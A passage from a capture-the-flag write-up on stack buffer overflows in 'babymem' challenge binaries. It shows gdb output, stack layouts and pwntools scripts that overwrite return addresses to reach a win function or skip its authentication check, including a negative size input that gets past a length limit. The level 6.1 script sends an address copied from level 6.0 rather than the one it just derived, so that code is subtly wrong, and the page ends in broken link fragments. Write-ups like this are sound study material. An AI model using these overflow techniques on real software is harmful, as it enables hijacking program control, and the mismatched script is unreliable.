0x7ffd98ad73d8: 0x401c6b <main+238>

As we can see the return address is main+238 and it is located at 0x7ffd98ad73d8.

We want to replace this value with the address of the win function.

gef➤  disass win
Dump of assembler code for function win:
   0x0000000000401958 <+0>:     endbr64 
; -- snip --

As we can see the win function starts at 0x0000000000401958.

We now have the information we need:

Let's calculate the padding required.

gef➤  p/d 0x7ffd98ad73d8 - 0x7ffd98ad7380
$3 = 88

We can now create our payload.

from pwn import *

padding = b'A' * 88
payload = padding + p64(0x0000000000401958)

p = process('/challenge/babymem_level4.1')
p.recvuntil('size:')
p.sendline('-1')

p.recvuntil('bytes)!')
p.send(payload)
p.interactive()

level 6.0

Overflow a buffer and smash the stack to obtain the flag, but this time bypass another check designed to prevent you from doing so!

In this level, the win_authed function checks if it's argument is 0x1337. If it isn't, we don't get the flag.

For now, instead of trying to pass it, we will just skip over this check.

            +---------------------------------+-------------------------+--------------------+
            |                  Stack location |            Data (bytes) |      Data (LE int) |
	    +---------------------------------+-------------------------+--------------------+
sp -------> | 0x00007ffe14fb8750 (rsp+0x0000) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
            | 0x00007ffe14fb8758 (rsp+0x0008) | e8 98 fb 14 fe 7f 00 00 | 0x00007ffe14fb98e8 |
            | 0x00007ffe14fb8760 (rsp+0x0010) | d8 98 fb 14 fe 7f 00 00 | 0x00007ffe14fb98d8 |
            | 0x00007ffe14fb8768 (rsp+0x0018) | 00 00 00 00 01 00 00 00 | 0x0000000100000000 |
            | 0x00007ffe14fb8770 (rsp+0x0020) | a0 34 20 fa 38 7f 00 00 | 0x00007f38fa2034a0 |
            | 0x00007ffe14fb8778 (rsp+0x0028) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
	    | 0x00007ffe14fb8780 (rsp+0x0030) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 | \
	    | 0x00007ffe14fb8788 (rsp+0x0038) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |  |------ buffer
	    | 0x00007ffe14fb8790 (rsp+0x0040) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |  |
	    | 0x00007ffe14fb8798 (rsp+0x0048) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 | /
  	    | 0x00007ffe14fb87a0 (rsp+0x0050) | d0 11 40 00 00 00 00 00 | 0x00000000004011d0 |
	    | 0x00007ffe14fb87a8 (rsp+0x0058) | 80 87 fb 14 fe 7f 00 00 | 0x00007ffe14fb8780 |
bp -------> | 0x00007ffe14fb87b0 (rsp+0x0060) | e0 97 fb 14 fe 7f 00 00 | 0x00007ffe14fb97e0 | <------- saved bp of previous frame
            | 0x00007ffe14fb87b8 (rsp+0x0068) | 8e 1e 40 00 00 00 00 00 | 0x0000000000401e8e | <------- return address
	    +---------------------------------+-------------------------+--------------------+

Let's look at the win_authed function in gdb.

gef➤  disass win_authed
Dump of assembler code for function win_authed:
   0x00000000004016c4 <+0>:     endbr64 
   0x00000000004016c8 <+4>:     push   rbp
   0x00000000004016c9 <+5>:     mov    rbp,rsp
   0x00000000004016cc <+8>:     sub    rsp,0x10
   0x00000000004016d0 <+12>:    mov    DWORD PTR [rbp-0x4],edi
   0x00000000004016d3 <+15>:    cmp    DWORD PTR [rbp-0x4],0x1337
   0x00000000004016da <+22>:    jne    0x4017d2 <win_authed+270>
   0x00000000004016e0 <+28>:    lea    rdi,[rip+0xa09]        # 0x4020f0
   ; -- snip --

We can see that the instruction at 0x00000000004016d3 is performing the check and the next instruction is making the jump.

In order to skip the check, we have to set the return address to 0x00000000004016e0.

Before we do that we need to know the distance between the start of the buffer and location of return address.

Buffer:                           Random bytes:                     Return address:

00 00 00 00 00 00 00 00           d0 11 40 00 00 00 00 00          8e 1e 40 00 00 00 00 00
00 00 00 00 00 00 00 00           80 87 fb 14 fe 7f 00 00
00 00 00 00 00 00 00 00           e0 97 fb 14 fe 7f 00 00
00 00 00 00 00 00 00 00           

As we can see the distance is 56 bytes. This means we need 56 bytes of padding in order to overwrite the return address.

from pwn import *

padding = b'A' * 56
payload = padding + p64(0x00000000004016e0)

p = process('/challenge/babymem_level6.0')
p.recvuntil('size:')
p.sendline('500')

p.recvuntil('bytes)!')
p.send(payload)
p.interactive()

level 6.1

Overflow a buffer and smash the stack to obtain the flag, but this time bypass another check designed to prevent you from doing so!

In order to create a payload we need to know three things:

gef➤  run

; -- snip --
Send your payload (up to 10 bytes)!

Once we are prompted to enter our payload we can press CTRL C and then enter our payload.

gef➤  finish
Run till exit from #0  0x00007f7c7813dfd2 in __GI___libc_read (fd=0x0, buf=0x7ffc615eeba0, nbytes=0xa) at ../sysdeps/unix/sysv/linux/read.c:26
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

The program has now read our payload.

The read syscall takes the following arguments:

ssize_t read(int fd, void buf[.count], size_t count);

We can see that the second argument is the location to which input is read, and it is stored in $rsi.

gef➤  p $rsi
$2 = 0x7ffdf99af5b0

In this challenge, we have no win variable to overwrite.

The way we can divert flow of the program is by overwriting the return address.

We know that the base pointer $rbp points to the saved base pointer of the caller function.

Let's check this:

gef➤  x/a $rbp
0x7ffdf99af610: 0x7ffdf99b0640

The base pointer $rbp has the value 0x7ffdf99af610 and it points to 0x7ffdf99b0640 which is the $rbp of the caller function.

And the return address is stored right before the caller functions base pointer. In our case at $rbp + 8.

gef➤  x/a $rbp + 8
0x7ffdf99af618: 0x4019aa <main+238>

As we can see the return address is main+238 and it is located at 0x7ffdf99af618.

We want to replace this value with the address in the win_authed function such that it skips the check.

gef➤  disass win_authed
Dump of assembler code for function win_authed:
   0x000000000040168a <+0>:     endbr64 
   0x000000000040168e <+4>:     push   rbp
   0x000000000040168f <+5>:     mov    rbp,rsp
   0x0000000000401692 <+8>:     sub    rsp,0x10
   0x0000000000401696 <+12>:    mov    DWORD PTR [rbp-0x4],edi
   0x0000000000401699 <+15>:    cmp    DWORD PTR [rbp-0x4],0x1337
   0x00000000004016a0 <+22>:    jne    0x401798 <win_authed+270>
   0x00000000004016a6 <+28>:    lea    rdi,[rip+0x95b]        # 0x402008

As we can see the win function starts at 0x000000000040168a. However the address we want to overwrite the return address with is 0x00000000004016a6.

We now have the information we need:

Let's calculate the padding required.

gef➤  p/d 0x7ffdf99af618 - 0x7ffdf99af5b0
$3 = 104

We can now create our payload.

from pwn import *

padding = b'A' * 104
payload = padding + p64(0x00000000004016e0)

p = process('/challenge/babymem_level6.1')
p.recvuntil('size:')
p.sendline('500')

p.recvuntil('bytes)!')
p.send(payload)
p.interactive()

Last updated 1 year ago

Was this helpful?

You could use or , for this task, but we will use good old gdb.

However we can use the concept of to our advantage.

IDA
Ghidra
two's compliment